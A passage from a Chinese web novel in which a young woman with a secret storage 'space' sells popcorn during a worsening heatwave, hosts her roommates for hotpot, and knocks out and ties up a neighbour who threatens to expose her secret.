【范槿：薇薇，你明天要是起得早，可以来学校食堂吃早饭，你知道吗？我今天在学校食堂看到完整的荷包蛋了！】 【范槿：我记得上次在学校吃到完整的鸡蛋，还是下暴雨当志愿者的时候！】 秦小薇知道她为什么这么激动，食堂恢复营业后，卖的都是面条、粥和炒饭之类的主食。 虽然名字是肉丝蛋炒饭、蔬菜鸡蛋炒面、蔬菜肉粥……但里面的肉和菜真的少得可怜，有时候运气差，拿着放大镜找，都不一定能在碗里找到一点肉末和蛋花。 它们的味道全靠各种调味料撑着！ 学生们上次在学校食堂吃到完整的荷包蛋，还是两个多月前！ 【秦小薇：好啊！我明早过去尝尝！】 【秦小薇：阿霞，小吃街早上没什么人，不用去太早，我十点出摊，到时候你直接去小吃街等我就行了！】 【段霞：OK】 很久没回学校了，秦小薇第二天早上起床后，晃晃悠悠地去了学校食堂。 食堂的窗口只开了一半，这一半的窗口里面，有三分之二的窗口都堆满了能量饼干，剩下三分之一才是卖新鲜食物的窗口。 因为米饭面条还没卖完，卖能量饼干的窗口几乎无人问津，所有人都集中在那几个卖新鲜食物的窗口排队。 秦小薇也走了过去，站在队伍的最后面。 前面的学生叽叽喳喳地聊着天，非常有活力。 “食堂终于有鸡蛋了，再这么吃下去，我都要担心自己得糖尿病了！” “哪有这么夸张？” “你忘了，书上写了，长期饮食结构单一也是糖尿病的病因之一。” 显然，这是两个医学生。 “哎，你有没有发现，今年夏天来得特别早，这才刚刚四月份，我就开始穿短袖了！” “这两天确实有点热，不过出太阳了也好，我可以晒被子了……前两个月，一直是阴天，还潮乎乎的，我衣服都晒不干！” “……” 食堂阿姨打饭的手速很快，没多久，就轮到秦小薇了。 秦小薇扫了眼窗口售卖的食物，荷包蛋限购，每人只能买一个，她要了份火腿肠炒饭加荷包蛋。 打饭的窗口边上还有五六样小咸菜，学生们可以自取，她每样都弄了点。 炒饭里面的火腿肠和鸡蛋都少得可怜，但因为加了孜然粉和一些其他的调味料调味，配着免费的萝卜条和榨菜，味道还不错。 荷包蛋是溏心的，煎蛋的时候应该放了很多油，表面有点焦黄，吃起来非常香。 回家的时候，秦小薇发现对面的邻居从电梯间走了出来，在他身后，一台电梯的电梯门正在缓缓合上。 秦小薇有些惊讶：“电梯能用了？” 奚川点了点头：“住九楼没电梯太不方便了，上周我找人装了一台，只能到九楼。” 秦小薇：“……”为什么他的语气就像是随手买了一棵白菜？ 有钱也太好了！住公寓楼都能给自己弄个专属电梯！ 可恶，她什么时候也能变得这么有钱？ 秦小薇想了想，试探地问道：“这电梯我能用吗？” 奚川无所谓地点点头：“用吧！空着也是空着！” 秦小薇：这邻居好大方！好评！好评！【你现在阅读的是 】 40-50 第41章 第41章升温（双更合一）…… 九点半的时候,秦小薇收拾好了东西，带着自己摆摊的装备下了楼。 从公寓到小吃街也就一脚油门的事，秦小薇很快就到了目的地,段霞比她来得还早,正站在路边玩手机。 由于进不到原材料,小吃街现在只有几个卖饮品的商家，原本热闹的小吃街现在只有寥寥几个行人,看起来有些冷清,秦小薇找到自己以往摆摊的位置，和段霞一起往下卸货。 “咦,薇薇，你降价了？”段霞看着电动三轮车上修改过的价格牌惊讶道。 秦小薇看了她一眼：“你再仔细看看？” 段霞又凑到价格牌前看了一眼：“是降价了没错啊？你以前卖五十两盒，三十一盒。” 秦小薇：“那是暴雨涨水的时候,现在我可没有卖那个价格的底气！正常我是卖十块钱一盒的,现在十二一盒都算是涨价了……” 摆好东西之后，秦小薇又拿了两张塑料凳出来，示意段霞可以在车子后面坐下。 秦小薇：“阿霞,现在人不多，咱们先坐会……” “行！” 秦小薇以为,到了十二点,小吃街的人会多一些，但没了各种小吃摊的加持，出来玩的人根本不会特意绕到这边来,就算她们刻意招呼客人，卖了两个多小时，也就只开了个张。 秦小薇：“阿霞，我换个地方继续摆摊,你要不要回学校吃饭？” 段霞摇头：“不用，我带了能量饼干过来，我中午吃能量饼干就行了！你要回去吃饭吗？” 秦小薇：“……我也带了能量饼干出来。” 她们收拾了东西，秦小薇把车骑到了商场门口的广场上。 没了各种美食的加持，商场的人气大不如前，但进出商场的人还是比小吃街那边多，秦小薇的生意好了不少，短短半个小时，她带出来的一箱爆米花就清空了。 看到她的生意变好了，段霞悄悄松了口气，秦小薇带了那么多箱货出来，她真怕她卖不完砸手里。 见这边似乎真的很安全，段霞才放心地离开。 段霞走后，秦小薇也松了口气——段霞在边上看着，她不方便从空间里弄爆米花出来补货。 周六的生意很不错，可能是因为外面的小吃太少了，爆米花单价又不高，很多来逛商场的人，就算不看电影，路过也会买一盒爆米花。 因为她总是偷偷往箱子里添爆米花，为了不引起怀疑，秦小薇下午换了好几个地方摆摊。 虽然招呼客人有点费嗓子，但一直有钱入账的感觉实在是太爽了，她一直在外面待到晚上八点多才骑着电动三轮车回公寓。 到家后她算了下今天的收入，她今天一共卖出去了一千多盒爆米花，今天一天就赚了一万多。 她这个月花出去的生活费，今天一天就赚回来了，还有结余。 秦小薇：不错！不错！趁着其 他小吃摊还没冒出来，明天继续！ 第二天，她依旧是九点多出门，开着三轮车在各个商场、公园附近晃悠，要是箱子里的爆米花卖完了需要补货或是保安赶人，她就换个地方继续摆摊。 这周已经吃了六顿能量饼干了，今天中午没有其他人在，她不想啃能量饼干，昨晚做饭的时候就多准备了一份便当。 中午这一波人流过去后，秦小薇在公园门口找了个阴凉的地方停电动三轮车。 虽然才四月初，但最近这几天的温度却不低，天天大太阳，今天的温度是26—32℃，在外面晒了一上午，秦小薇的后背都快汗湿了。 这几天的天气让她有种已经入夏的错觉。 她借着车上箱子的遮掩，从仓库里拿出昨晚准备的便当。 便当盒子有三层，一层是米饭，一层是西红柿炒蛋，还有一层是胡萝卜炒培根，除此之外，仓库里还有一盒洗好的草莓，那是她给自己准备的饭后水果。 可以说是相当丰盛了！ 她正低头扒饭，面前忽然落下一片阴影。 “老板，来两盒爆米花。”耳边传来一个低沉的男声。 “噢，好！”秦小薇连忙放下碗筷，拿袋子装爆米花，“一共二十四，扫码还是付现……” 看到男人的脸后，秦小薇的声音顿了顿。 是之前领养香肠的那个男人，她视线下移，在他脚边看到了疯狂摇尾巴的拉布拉多，拉布拉多正盯着她的便当盒流口水。 和上次相比，拉布拉多又瘦了一圈，看上去更精神了。 它身上的背心和秦小薇上次在走廊里看到的是同款，只不过背心的颜色变成了黑色，背心上有三个比成年男人拳头还大的“背包”，一个背包里装了一瓶水，还有两个小背包鼓鼓囊囊的，不知道装了些什么。 怎么又碰到了？宁市这么大，她都跑这么远了，摆个摊，竟然还会碰到熟人（狗）…… “付过去了。”陆昼的声音打断了秦小薇的思绪。 “好的，好吃欢迎下次再来……”秦小薇熟练地回了一句。 陆昼却没急着离开，他指了指秦小薇的便当：“方便问下，你的培根是在哪里买的吗？” 秦小薇：“呃……之前在同城APP上买的，你是要买给香肠吃吗？培根高油高脂肪，不适合喂狗！” 不知想到了什么，她又补充了一句：“咱们之前在Q大见过，当时你还准备领养香肠来着……” 陆昼低头看了眼脚边的拉布拉多，点头：“我知道……卖培根的商家叫什么名字？” 他已经打开了同城APP。 秦小薇：“……”不是说了不适合喂狗吗？怎么还问？ 她只能硬着头皮打开自己的手机，装模作样地翻了一会历史记录，才回道：“……对方可能是被举报了，账号已经没了！” 秦小薇有些忐忑，也不知道他会不会相信？不过李阿姨家连新鲜的鱼子酱都有，在他们这些有钱人眼里，她在同城APP上买点培根，应该也不奇怪……吧？ 陆昼皱了皱眉，又问：“没有别的联系方式了？我记得APP上不能交易。” 秦小薇继续胡诌：“没有，我们线下交易的，他给我送过来的。” 陆昼收起手机，没再多问什么，直接牵着狗绳离开了。 他身边的拉布拉多和上次一样，依旧是一步三回头，走得不情不愿。 秦小薇盯着一人一狗的身影看了一会，香肠这回倒是乖多了，看到她吃培根都没叫。 一人一狗离开后，秦小薇放慢了吃饭的速度，她拿出手机在同城APP上搜了搜。 卖猪肉、排骨、香肠、腊肉的倒是不少，卖培根的……一个也没有！ 秦小薇：“……”早知道昨晚就准备煎鱼排了！裹上粉，她还可以说是煎猪排！ 他应该也不会较真吧？给狗买吃的而已！她刚刚的理由，应该挺有说服力的……吧？ 陆昼上车后，见拉布拉多趴在副驾驶上，一副闷闷不乐的模样，他伸手揉了下它的脑袋：“我回去查下系统，应该能查到那个人，肯定能买到的，别丧着一张脸了！” 似乎是听懂了他的话，拉布拉多晃了晃脑袋，坐起来“汪”了一声，尾巴也开始拍打脚下的真皮座椅。 看到拉布拉多这么兴奋，陆昼忍不住逗它：“你刚才也听那个姐姐说了，培根高盐高脂肪，你不能吃，所以……买回来以后，你只能看我吃！” “汪汪汪——”拉布拉多很生气，和他“吵”了起来。 “汪汪汪——嗷呜——” 一人一狗吵了一会，陆昼觉得再逗下去香肠真要生气了，才见好就收：“行了，给你吃半片，不能再多了！” 听到他这么说，拉布拉多才偃旗息鼓。 陆昼笑了笑，伸手揉了下它的狗头，才启动车子。 因为陆续又来了客人，秦小薇很快就把这事抛去了一边，专心招待客人。 周一早上还要上班，她没在外面待到太晚，天黑就回公寓了。 今天没在小吃街浪费时间，秦小薇赚得比昨天还多。 白天太热了，晚上洗完澡之后，她就开了风扇在沙发上吹风，看到外卖APP上有商家在卖奶茶，她忍不住点了一杯。 有点热，喝点冰的凉快凉快！ 下楼取外卖的时候，秦小薇碰到一个人正在和保安吵架，他们吵得太激烈，她爱吃瓜的毛病犯了，忍不住放慢了脚步。 等到了电梯间，大厅里的人看不到她了，她才停下脚步。她也不按电梯，直接插上吸管，一边喝奶茶一边吃瓜。 “……电梯本来就是公共财产，我们交了物业费的，为什么只能到九楼？” “这是九楼的住户自己装的，直达九楼有什么问题？” “……” 秦小薇听了一会，明白了事情的原委，二十一楼有个商家开了一家装修公司，因为楼里的电梯问题，已经跑了好几个客户了。 少一个客户，就少赚好几千，老板自然着急。 现在好不容易有一台电梯可以用了，但是只到九楼，客户想上二十一楼，还得爬十几层楼梯…… 那家店的老板就想让保安修改一下程序，让电梯可以在所有的楼层停，但电梯是人家自费买的，保安也不愿意得罪九楼那位有钱的住户，自然不愿意插手这事，他们就吵了起来。 秦小薇吃了会儿瓜，直到二十一楼那位租客铩羽而归，才心满意足地坐电梯上楼。 要她说，就是那位租客太贪心了，人家自己安装的电梯，能让楼里的人用已经很好了，他竟然还想着一部电梯所有的楼层都停，他也不想想，他们这栋公寓每天来来往往多少人？ 之前电梯间六部电梯都要等，现在就一部电梯了，真要是所有的楼层都能停，人家自己还用不用了？ 一转眼，时间又过了半个月。 这半个月，秦小薇的生活和上周并没有什么区别，工作日早起上班，周末摆摊赚钱，就是电梯间里那台唯一的电梯不能用了，她又得继续爬楼梯。 因为电梯的问题，对面的男主人受到了不少住户的“骚扰”，楼上不少商家都想让他修改电梯程序，让电梯每个楼层都停一下或者是在他们所在的楼层停留使用，甚至还想“砸钱”让对面的邻居妥协。 不过对面的男主人那么有钱，怎么可能看得上他们付的那点“电梯费”，一气之下，干脆改了程序，弄了个电梯卡，现在电梯只能刷卡进入。 秦小薇从李阿姨那知道这事的时候非常无语。 楼上那些人，真是贪心不足蛇吞象，要是他们没来找事，电梯还能到九楼，他们每天也能少爬几层楼！ 现在呢？所有人都得老老实实爬楼梯！ 这天是周五，晚上吃完晚饭后，秦小薇就窝在沙发里吹空调打游戏。 这周温度又升高了一些，今天是30－37℃，之前银行改线路的时候，把暴雨前拆下来的中央空调又装回去了。 白天工作的时候银行开了空调，并不热，晚上回来秦小薇就得开空调了。 好在她之前买 的太阳能发电板非常有用，白天晒一整天充电，晚上回来开空调都不用花电费，就是蓄电池的续航不太行，到了半夜两三点的时候，空调就会因为没电自己停止运行。 上周的时候还好，半夜温度不高，她也不会被热醒。这周温度又升了两度，她有时候半夜会被热醒，得爬起来切换供电线路开风扇，或是直接进空间睡觉。 一局刚结束的时候，外面响起了敲门声。 秦小薇打开手机监控看了一眼，看清监控里的人后，她震惊地瞪大了眼睛！ 他怎么会来敲她家的门？难道是发现她上次说谎了？ 不至于吧！她上次那个谎言应该没什么破绽，他应该不会发现…… 门外正是香肠的新主人，秦小薇看着手机里的画面没有动作，外面敲门的人却很有耐心。 “咚咚咚——咚咚咚——”每次敲三下，间隔十几秒，声音不疾不徐，门口的人似乎是笃定屋里有人。 秦小薇深吸一口气，穿上拖鞋过去开门。 他肯定不是因为培根的事找上门的！ 正常人也干不出因为陌生人一个谎言就找上门的事！ “请问有什么事吗？”秦小薇问道。 陆昼拿出一张卡，笑了起来：“李阿姨说你周末要摆摊，上下楼搬东西不方便，让我来送张电梯卡。” 他的笑容十分有亲和力，和初见时给人的感觉完全不一样，莫名让人放下心防。 见他没提上次公园门口的事，秦小薇悄悄松了一口气。 秦小薇犹豫了一下，还是接过了卡：“麻烦你跑一趟了，帮我和李阿姨说声谢谢！” 她周末出摊要搬不少东西下楼，有电梯确实会方便很多。 陆昼：“我和香肠暂时搬到这边住，以后咱们就是邻居了，没什么麻烦的，互相帮助是应该的。” 秦小薇差点没控制住脸上的表情：“你们要搬过来？” 那她以后岂不是每次吃完饭都得“收拾”一下！ 忽然感觉家里的漱口水有点不够用，下次去超市的时候再买一点吧！ 陆昼解释道：“这边离Q大比较近，方便我处理一些事。” 秦小薇：“这样啊！” 正当秦小薇准备结束话题关门的时候，陆昼话锋一转，开口道：“你上次说的培根，我后来关注了一下，同城APP上一直没人卖……” 秦小薇握着门把手的手紧了紧：“可能是那个人被抓了吧！我买的时候，培根卖得挺贵的……你也知道，市政前段时间对天价物资的打击力度很大。” 所以就别再关心培根了！ 陆昼笑了下：“我也是这么想的……那你之前买的培根吃完了吗？我想买点。” 秦小薇摇头：“已经吃完了。” 陆昼：“那真是太遗憾了……不打扰你了，我先回去了。” 转身之后，他唇角勾起一个玩味的笑。 关上门之后，秦小薇悄悄松了口气，是她的错觉吗？总觉得香肠的新主人今天怪怪的！ 虽然一直在笑，但总让她觉得毛毛的，有种被什么东西盯上的感觉…… 以后还是少接触吧！毕竟他养了一条嗅觉那么灵敏的狗，她吃口肉它就能闻出来。 秦小薇进了趟空间，她这一个半月比较肝，机场的订单每天都会全额完成，所以升级速度比之前快了不少，她现在已经25级了。 不过升了两级，也只解锁了牧羊草场外加六只羊，因为一直在攒金币扩张仓库里的格子，草场和羊她都还没买，她看了下下一级解锁的物品，是裁缝店和衬衫、毛衣。 空间里能吃的荤食还是和之前一样。 距离那场暴雨已经过去好几个月了，肉类虽然依旧供不应求，但现在市面上的鸡鸭鱼比之前多了很多，只要肯花钱，想买点别的肉换换口味也不是什么难事。 不知道香肠就是单纯的馋，还是只对空间出产的肉类有反应？ 改天找机会试一下吧！ 至于培根，先囤着吧！等他们搬走了再继续吃…… 第二天是周末，按照她之前几周的习惯，她是要出去摆摊的，但早起看到天气预报后，秦小薇就打消了这个念头。 和昨天相比，今天的温度又升高了一点，今天是29－38℃，虽然最低温度是29℃，但现在才六点半，外面已经32℃了。 她可以想象，等七八点太阳出来的时候，外面会有多晒。 这么热的天，顶着个大太阳在外面晒一天，对她来说也是一个不小的挑战！ 唉！现在还不到五月份啊！温度怎么会这么高？ 她又打开浏览器，搜了下未来两个月的天气预报。 天气预报显示，从下周五开始，宁市的温度就会升到39℃，后面一个多月，更是每天都是38、39℃，没有一天下雨。 连着热这么多天，地里那些蔬菜粮食还能活吗？不会干旱吧？ 思考了一会，秦小薇就把这个问题抛去了一边。 想那么多干什么？真要是干旱了，她也做不了什么。 粮食一直限购，她就算是想囤货，也只能去市场上买点高价的蔬菜、肉类。 起床后，秦小薇吃完早饭就出去买了点菜。 下楼坐电梯的时候，秦小薇碰到了香肠和它的新主人，拉布拉多今天除了那件很帅的背心还戴了个超级帅的墨镜。 秦小薇忍不住多看了它几眼。 原来制服不仅是男人的医美，放在狗身上，也同样适用！ 可能是因为她今天早上吃的是面包和牛奶，身上没有肉味，拉布拉多表现得非常冷淡，看都没看她一眼，只乖乖蹲坐在主人身边。 秦小薇：这狗可真现实！ 陆昼主动和她搭话：“这么早就出门摆摊吗？” 秦小薇摇头：“去买点菜……今天太热了，我打算等傍晚太阳下山了再出摊。” 陆昼：“今天天气还行吧！不是特别热……你觉得今天很热？” 秦小薇回忆了一下不久前才看过的天气预报，最高温38℃，不热吗？ 她尬笑一声：“可能你不怕热吧……你这是打算出门遛狗吗？” 陆昼摇头，言简意赅地吐出四个字：“上班、执勤。” 之后，他就不再说话了。 秦小薇挠了挠头，刚刚不是还主动找她寒暄吗？怎么忽然变得这么冷淡？ 这人真奇怪。 虽然菜市场还没开门，但菜市场附近却聚集了不少卖菜的小摊贩，很多都是从乡下来的，他们卖的菜也是他们自己种的。 蔬菜比超市贵不少，随便一样都要十来块一斤，和超市相比，在这里买菜的优点是可以随意挑选。 这个价格并不属于“天价物资”的范畴，就算有人打电话举报了，市政也不会管。 想到她对未来的猜测，秦小薇没在意蔬菜的价格，每种都挑了几斤，买了一大堆。 买回去放仓库里慢慢吃吧！她自己种的那些菜还要一段时间才能长出来，这段时间总是免不了要吃外面买的菜，早买晚买都是买！ 菜市场边上还有小贩在卖刚杀的鸡，鸡肉三十多一斤，一只就要一百多，秦小薇想到这个月的收入，直接买了两只。 第42章 第42章威胁（双更合一）…… 现在天气太热了,秦小薇担心在外面放久了，鸡肉会变质，到家后,就立刻把买回来的菜收进了仓库里。 毕业论文已经搞定了,她周末在家没什么事,便开着风扇躺在沙发上玩手机。 玩了没一会，室友的消息就弹了出来。 【范槿：薇薇,你晚上什么时候收摊？】 【秦小薇：今天晚上估计会到很晚,因为我白天不出门，打算等傍晚再出去摆摊。】 【秦小薇：天气太热了,白天大家都不愿意出来，白天估计也没什么生意。】 【范槿：太好了！】 【范槿：我和琳琳的毕业论文终于弄完了，我们想买点菜去你那做顿大餐庆祝一下,可以吗？】 【范槿：现在在外面吃饭太贵了……】 【范槿：猫猫期待.gif】 【秦小薇：这么快？】 【秦小薇：可以啊！我早上出门买了青菜、生菜、韭菜、大蒜叶子还有鸡,我家里还有一些干菜，你们看看还需要添点什么？】 【范槿：一点都不快！我和琳琳这几个星期都在熬夜肝论文！再不写完，我俩就要猝死在寝室里了！】 【肖琳琳：我们先去超市和菜市场附近逛逛,等买好了菜再来找你！】 【秦小薇：OK。】 因为室友们待会要来，打完一局游戏后,秦小薇又把不久前才收到仓库里的菜转移到冰箱里,又检查了一下厨房的东西，确定不会露出什么破绽，才重新窝回沙发上。 十点多的 时候,三个室友提着大包小包敲响了秦小薇家的门。 “Surprise！薇薇，这么久没见？是不是特别想我！”范槿伸手要挽她的手臂。 秦小薇嫌弃地避开了：“你身上都是汗，别碰我！” 范槿戏精上身装哭：“呜呜呜你怎么这么冷淡……” 段霞淡定地绕过她们进了屋：“薇薇，别理她,饭饭熬夜写论文写疯了，从昨天晚上开始就不太正常！” “我哪有？”范槿伸手就要去挠段霞的痒痒肉。 几人闹了一会，才关门进屋。 秦小薇：“你们中午想吃什么？” 肖琳琳：“吃火锅！我们买了火锅底料，这么热的天，就适合在屋里开着空调吃火锅！” “行！那咱们准备起来吧！” 秦小薇把买回来的一只鸡剃了肉，用鸡骨熬汤，鸡肉则被她腌了做炸鸡，其他三人在一边帮着择菜洗菜，屋里的气氛十分欢乐。 空调的温度开得比较低，就算厨房里一直在开火，她们也不觉得热。 四人一起忙活了一个多小时，火锅汤底、各类配菜和炸鸡终于都上桌了。 “好久没吃炸鸡了！幸福！” “好像还差点什么？对了，我们带来的可乐还在冰箱里！” “这个鱼片好薄！薇薇，你片鱼片的手艺也太好了！可以出去开店了！” “嘶！鸭肠好辣！” “……” 连着吃了一个多小时，四人才停下来。 范槿满足地拍了拍自己的小肚子：“我感觉我已经满血复活了，现在还可以再肝一篇论文！” “别说大话了，快来洗碗！”段霞冲着她喊道。 “来了！来了！” 收拾完碗筷，三人也没急着离开，而是坐在沙发上聊起了天。 没多久，范槿去阳台上接了个电话，接完电话后，她气咻咻地坐回了沙发上。 几人刚刚听了一耳朵，对电话的内容有些大概的了解。 肖琳琳递给她一杯温水：“出什么事了？怎么和你爸妈吵架了？” 范槿：“我爸被他朋友忽悠，要花二十万买一辆二手车，我说对方肯定是骗子，我爸不相信，说他们认识二十多年了，他朋友肯定不会骗他……” 自从水退之后，网络上铺天盖地的都是二手车的广告，被水泡坏的车子太多了，保险公司拒绝理赔，有些人为了减少损失，就把它们稍微换几个零件，伪装成好的车子卖出去。 但这些车开不了多久就会出问题，出车祸的风险也会大大增加，买它们纯粹是花钱找罪受。 秦小薇之前囤物资的时候踩过不少坑，闻言开口道：“有些人就是喜欢挑熟人骗，陌生人对他们有防备，他们也骗不到！饭饭，你可得好好劝劝你爸妈，二十万可不是小数目……” 想到早上看到的天气预报，她又补充了一句：“未来两个月，天天38、39℃，叔叔要是真有闲钱，还不如安装一套好点的太阳能发电板，今年夏天还长着呢！能省不少钱！” 范槿：“前段时间就买了，我爸每次去超市买菜都能看到跃能的广告，听售货员夸得天花乱坠的，就下单了一套三万多的，回去以后差点被我妈挠花脸……唉！不行，我爸那个人没什么主见，人家说不了几句，他就被忽悠瘸了，我得回家和我妈说一声，让她把钱看好了！” 说着，她就风风火火地要离开。 “路上小心点——” 肖琳琳和段霞坐了没一会，也都离开了。 傍晚五点多的时候，太阳没那么晒了，秦小薇才带着自己的装备下楼卖爆米花。 她的第一站依旧是公寓附近的商场，天黑之后，商场附近没什么人了，她又骑着车去了公园。 晚上公园附近有很多人散步，还有人跳广场舞，秦小薇拆了一盒爆米花让路过的行人试吃，蜂蜜黄油爆米花的味道很受小朋友的欢迎，她的生意非常好，中途还“回去”补了一次货。 就是外面太热了，经过一整天炙烤的水泥正在散热，站在上面，就能感受到脚下源源不断地热气，就算她带了个USB小风扇，依旧出了很多汗，快收摊的时候，她上衣都能拧出水了。 还好白天没出来，要不然真得被晒得中暑！ 晚上摆摊的时间没有白天长，对比上周六，秦小薇的收入少了一大截，但也赚了好几千。 不过这也是没办法的事，外面温度太高，她又没个固定的店铺…… 第二天中午，秦小薇听到外面走廊里一直有人走路、说话，就打开手机监控看了看，发现有好几个工人正搬着东西在隔壁进进出出。 见李阿姨就站在门口，她打开门和李阿姨聊了起来：“李阿姨，你们家在干什么呢？” 李阿姨：“陆少爷说最近温度太高了，阳台的蔬果可能会被晒死，叫了人来装隔热膜……” 秦小薇：“啊？这个天气蔬菜会被晒死吗？李阿姨，我家阳台也种了不少东西，是不是也该装上隔热膜？” 李阿姨：“我觉得不至于，你多浇点水就行了……陆少爷他没种过菜，不懂这些！你要是想装也行，不过这东西有点贵，为了那几盆菜，我觉得不值得！” 两人聊天的时候，秦小薇往屋里看了看，发现对面除了阳台，窗户上也都装了隔热膜。 不过可能是为了美观，他家的隔热膜像卷帘窗帘一样，是可以收起来的，面对屋里的那一面，还定制了特别的图案，以和屋里的装修风格呼应。 秦小薇：这玩意还能定制？真是长见识了！ 秦小薇一边和李阿姨聊天，一边抄作业，她之前囤物资的时候也买了一批双面铝膜，效果可能不如李阿姨家的特别定制，她叠两层，应该也能用！ 等她有时间就给家里的窗户、阳台安排上！ 供电供水恢复之后，秦小薇的实习工作就变得清闲起来，不过因为总是碰到奇葩客户，工资还低，她并不怎么喜欢这份工作。 加上暴雨放假那二十多天，还有一个多月她的实习期就满九个月了，她就能拿到盖章的实习证明了，秦小薇最近的状态都是数着时间过日子。 她甚至还买了个纸质日历，每过一天就在日历上画个叉。 可以说是非常期待实习结束了！ 一转眼，又是五天过去，这周的温度比上周又升高了一些，秦小薇白天在银行实习，晚上就回来捣鼓她之前买的隔热铝膜。 她把两层铝膜用胶水贴在一起，固定在阳台和窗户上隔热。 她试了下，铝膜确实有隔热的效果，但因为气温太高了，待在屋里要想不出汗，还是得开空调。 秦小薇这周陆续囤了几十斤蔬菜和肉，按照她现在的消耗量，撑到种的蔬菜成熟没问题。 这周全国各地的温度都很高，打开手机，网上基本上都在讨论高温的事，经历过之前的暴雨后，现在网友们对天气预报都很敏感，很多网友都担心，这次的升温也会变成极端高温，带来一系列的灾难。 网上甚至开始流传着“末世论”，说之前的全球暴雨就是末世的开始……不过这种说法，基本上一发出来就被管理员删除了。 网上还有人流传，水刚退的时候，官方就开始组织各地农民进行防旱抗旱工作了…… 因为这种种变化，不少普通人开始有了危机感，开始想办法存水存物资。 秦小薇也有些不安，不过想到空间里的物资，她又对未来充满信心。 她做了这么多准备，还有个农场空间，就算真是她猜测的那样，她也能生活得很好。 各地的沙雕网友还自发地组织了一场“煎蛋比赛”——在不开火的情况下，比哪个地方的阳光先把煎蛋烤熟。 国家实行了新的法律条文，以后关于抢劫、暴力伤人的案件都会重判——这些条例其实水刚退的时候就已经出来了，但一条法律从制定到施行需要时间，这才拖到了现在。 等到了周末，秦小薇照旧是白天在家休息，傍晚出摊。 周六，她在公园门口的广场上卖完车上的爆米花后，准备像上 周一样，在附近找个没人的小巷子补货，再继续回去卖爆米花。 但她从巷子口出来的时候，却发现巷子口停了一辆黑色的汽车，把巷子口堵得严严实实的。 一个穿着短袖长裤的男人打开车门，从车上走了下来。 是香肠的新主人，她的新邻居。 秦小薇：？？？ 她有些懵，不明白他在这里堵着干什么，他们俩之间……好像没什么交集吧？ 秦小薇没有说话，两人在巷子里僵持着。 过了一会，陆昼开口打破了沉默：“秦小薇，你有一个空间对吧？” 虽然是疑问句，他用的却是肯定的语气。 秦小薇：！！！ 他怎么知道的？她哪里露出破绽了？ 陆昼往前走了几步，单手扶住电动三轮车的龙头，他弯腰看着她的眼睛，压低声音道：“你最近囤了很多物资，你应该察觉到了，现在的天气不正常……” 外面大马路上的路灯还没修好，巷子里只有电动三轮车的前灯亮着，陆昼的脸有一半隐没在阴影里，秦小薇看不清他全部的表情，只看到他唇角噙着笑，盯着她的左眼让她不自觉联想到动物世界里狩猎的狼，满是侵略性。 她的指甲掐进掌心，努力保持镇定：“我不知道你在说什么！” 陆昼：“虽然你一直很小心，但你其实有很多破绽。比如你和李阿姨说，你的爆米花和面包是从叔叔那进的，但你的户籍资料里，根本就没有叔叔。” “预警消息还没出来的时候，市面上的船只就是管控物资了，没点人脉根本弄不到，但你一个孤儿，却能在雨停的第一天就弄到一艘充气船……更有意思的是，我查了监控，你根本没带着充气船回过家。” 他又指了指电动三轮车的车斗：“你的三轮车明明一次只能装两三百盒爆米花，但你一天却能卖掉上千盒爆米花……刚刚在人民公园外的广场上，你的货应该已经卖完了吧？但现在，车里又装满了货，这些货是从哪来的？好难猜啊！” 他嘴里说着“好难猜啊”，脸上却写满了笃定，显然是非常肯定，秦小薇有一个空间。 就像是一只戏耍老鼠的猫。 陆昼：“你还有很多破绽，还要我继续说下去吗？” 看到秦小薇苍白的脸色，他笑了下：“害怕了？别担心，只要你愿意为我办事，这些痕迹，我都可以帮你抹除！你不是担心这个世界未来的情况吗？我还可以告诉你，未来会发生什么，让你避开那些危险……你！” 他的话还没说完，秦小薇就打开仓库，拿出板砖飞快给他的脑袋来了一下。 看着男人软倒在地上，秦小薇才跳下三轮车，狠狠踢了他几脚发泄怒气。 秦小薇：“这么能哔哔，不知道反派死于话多吗？” MD，大晚上忽然跳出来对着她一顿威胁，还要她给他当小弟，这男的是不是有病？ 踢完了人，秦小薇又把人收进了仓库里。 感谢上次大晚上砸她家门的变态，让她想到了利用空间应对危险的108种办法…… 秦小薇看了眼堵在巷子口的汽车，她特地选了个偏僻路段补货，这里连路灯都没修好，路上也没有监控，来来往往的车子更是少得可怜。 秦小薇撑着后车盖爬出了巷子，见附近没有人，她直接把汽车也收进了空间里。 发生了这么一个小插曲，她也没了摆摊的心情，检查了一下现场的痕迹后，秦小薇直接骑着电动三轮车回了公寓。 到家后，她放下东西就进了空间。 可能是那一板砖拍得太狠了，秦小薇把人从仓库里放出来的时候，他还在昏迷。 她伸手探了下他的鼻息，见他还有呼吸，秦小薇才松了口气。 虽然用虫子试验过，但仓库里还是第一次放活人，她真怕人放里面会死了！ 秦小薇找了绳子，直接把人绑了起来。 想到电影里主角利用身上的刀片或是其他的小道具逃生的情节，秦小薇还对他搜了身，然后……她从他后腰处搜到了一支|枪，大腿上搜到了一把绑着的匕|首，鞋子里搜到了两枚刀片。 秦小薇：！！！ 卧槽！这男的竟然带着枪来威胁她！要是她刚刚反应没那么快，他是不是就要用枪威胁她了？ 她没记错的话，她穿越的这个国家禁枪吧？ 摸到那把沉甸甸的手|枪，秦小薇顿时觉得，这个人的危险指数飙升。 她又搜了一遍身，这回，她连头发都没放过，秦小薇把他身上的饰品、手机都给没收了。 绑完了人，秦小薇看着面前的人有些苦恼，该怎么处理他呢？总不能把人杀了吧？ 秦小薇出了空间，上学校论坛搜了下Q大的历届校草——她不记得那个男人的名字了，只知道他休学前是Q大的校草。 可能是因为他之前是校草，论坛里有不少和他相关的消息。 陆昼，计算机科学与技术专业，今年21岁，宁市人，曾是宁市的高考状元，高中的时候就是学校里的风云人物，大一入学后不久，就做了一款小游戏卖了30万，在校期间拿了不少奖，去年年初的时候不知道因为什么原因忽然休学了…… 论坛里还有不少他的偷拍照，打篮球、吃饭、上课…… 秦小薇看着照片里笑得明媚阳光的大男孩，真的很难把他和今晚带着枪堵她，威胁她要给他当小弟的人联系在一起。 秦小薇咬着指甲盯着手机屏幕里的照片，想到了陆昼之前那句“我还可以告诉你，未来会发生什么”，以及他之前领养香肠的时候，同班同学对他的评价，说他像变了个人似的…… 普通人怎么会预知未来？ 他是有什么特殊的消息渠道，还是……他和她一样，有什么特殊经历。 比如说穿越，或者是……重生！ 啊啊啊啊！好烦啊！本来开开心心卖爆米花赚钱，怎么突然就被这种变态盯上了？ 细数他们几次见面，她也没做什么伤害他的事啊，不就撒了个无伤大雅的谎吗？ 秦小薇越想越气，进空间后，又踢了五花大绑的陆昼几脚发泄怒气。 等她稍微平静了一些，才把人拖到沙滩上，让他的下半身都浸泡在海水里，舀了一盆海水泼醒了他。 